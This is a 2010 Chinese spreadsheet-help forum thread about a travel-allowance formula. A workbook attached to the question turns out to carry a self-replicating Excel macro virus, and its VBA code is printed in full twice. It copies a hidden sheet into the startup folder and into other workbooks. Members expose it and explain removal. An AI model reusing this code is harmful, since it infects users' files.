[已解决]求助：根据出差目的地计算补助

梦夕 · 发表于 2010-1-5 20:12

如题，请各朋友帮帮我，看如何根据出差目的地设置补助公式？

We3PSdLT.rar (7.01 KB, 下载次数: 0)

喜多多 · 发表于 2010-1-5 20:15

楼主，这段代码可以去掉吗

Sub auto_open()
Application.OnSheetActivate = "ck_files"
End Sub

Sub ck_files()
    c$ = Application.StartupPath
    m$ = Dir(c$ & "\" & "RESULTS.XLS")
    If m$ = "RESULTS.XLS" Then p = 1 Else p = 0
    If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
    whichfile = p + w * 10

Select Case whichfile
    Case 10
    Application.ScreenUpdating = False
    n4$ = ActiveWorkbook.Name
    Sheets("results").Visible = True
    Sheets("results").Select
    Sheets("results").Copy
    With ActiveWorkbook
        .Title = ""
        .Subject = ""
        .Author = ""
        .Keywords = ""
        .Comments = ""
    End With
    newname$ = ActiveWorkbook.Name
    c4$ = CurDir()
    ChDir Application.StartupPath
    ActiveWindow.Visible = False
    Workbooks(newname$).SaveAs FileName:=Application.StartupPath & "/" & "RESULTS.XLS", FileFormat:=xlNormal _
        , Password:="", WriteResPassword:="", ReadOnlyRecommended:= _
        False, CreateBackup:=False
    ChDir c4$
    Workbooks(n4$).Sheets("results").Visible = False
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "RESULTS.XLS!ck_files"
    Case 1
    Application.ScreenUpdating = False
    n4$ = ActiveWorkbook.Name
    p4$ = ActiveWorkbook.Path
    s$ = Workbooks(n4$).Sheets(1).Name
    If s$ <> "results" Then
        Workbooks("RESULTS.XLS").Sheets("results").Copy before:=Workbooks(n4$).Sheets(1)
        Workbooks(n4$).Sheets("results").Visible = False
    Else
    End If
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "RESULTS.XLS!ck_files"
    Case Else
End Select
End Sub

一剑惊心 · 发表于 2010-1-5 20:15

下载后蜘蛛报毒[em06]

wsfsy · 发表于 2010-1-5 20:17

幸亏禁用了宏[em01]

梦夕 · 发表于 2010-1-5 20:23

我的电脑是中了宏病毒了，伤心中，不知怎样才能删除？，谢谢各位朋友的关注！

梦夕 · 发表于 2010-1-5 20:26

QUOTE:

以下是引用喜多多在2010-1-5 20:15:00的发言：

楼主，这段代码可以去掉吗

Sub auto_open()
Application.OnSheetActivate = "ck_files"
End Sub

Sub ck_files()
    c$ = Application.StartupPath
    m$ = Dir(c$ & "\" & "RESULTS.XLS")
    If m$ = "RESULTS.XLS" Then p = 1 Else p = 0
    If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
    whichfile = p + w * 10

Select Case whichfile
    Case 10
    Application.ScreenUpdating = False
    n4$ = ActiveWorkbook.Name
    Sheets("results").Visible = True
    Sheets("results").Select
    Sheets("results").Copy
    With ActiveWorkbook
        .Title = ""
        .Subject = ""
        .Author = ""
        .Keywords = ""
        .Comments = ""
    End With
    newname$ = ActiveWorkbook.Name
    c4$ = CurDir()
    ChDir Application.StartupPath
    ActiveWindow.Visible = False
    Workbooks(newname$).SaveAs FileName:=Application.StartupPath & "/" & "RESULTS.XLS", FileFormat:=xlNormal _
        , Password:="", WriteResPassword:="", ReadOnlyRecommended:= _
        False, CreateBackup:=False
    ChDir c4$
    Workbooks(n4$).Sheets("results").Visible = False
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "RESULTS.XLS!ck_files"
    Case 1
    Application.ScreenUpdating = False
    n4$ = ActiveWorkbook.Name
    p4$ = ActiveWorkbook.Path
    s$ = Workbooks(n4$).Sheets(1).Name
    If s$ <> "results" Then
        Workbooks("RESULTS.XLS").Sheets("results").Copy before:=Workbooks(n4$).Sheets(1)
        Workbooks(n4$).Sheets("results").Visible = False
    Else
    End If
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "RESULTS.XLS!ck_files"
    Case Else
End Select
End Sub

全部可以去掉，只是我不知怎样操作呀！能教我吗？

老糊涂 · 发表于 2010-1-5 20:30

是这样吗，只要在B列中输入出差目的地，在C列中自动填上补助金额

qkOg8NZI.rar (9.87 KB, 下载次数: 0)

梦夕 · 发表于 2010-1-5 20:35

怎样才能看到这些代码？喜多多

zgwei050 · 发表于 2010-1-5 20:36

QUOTE:

以下是引用梦夕在2010-1-5 20:23:00的发言：

我的电脑是中了宏病毒了，伤心中，不知怎样才能删除？，谢谢各位朋友的关注！

把 C:\Documents and Settings\用户名\Application Data\Microsoft\Excel\XLSTART 下的resut.xls删除。

梦夕 · 发表于 2010-1-5 20:42

QUOTE:

以下是引用老糊涂在2010-1-5 20:30:00的发言：

是这样吗，只要在B列中输入出差目的地，在C列中自动填上补助金额

哗！糊涂的公式一点也不糊涂哦！谢谢你！

		自动登录	找回密码
密码			注册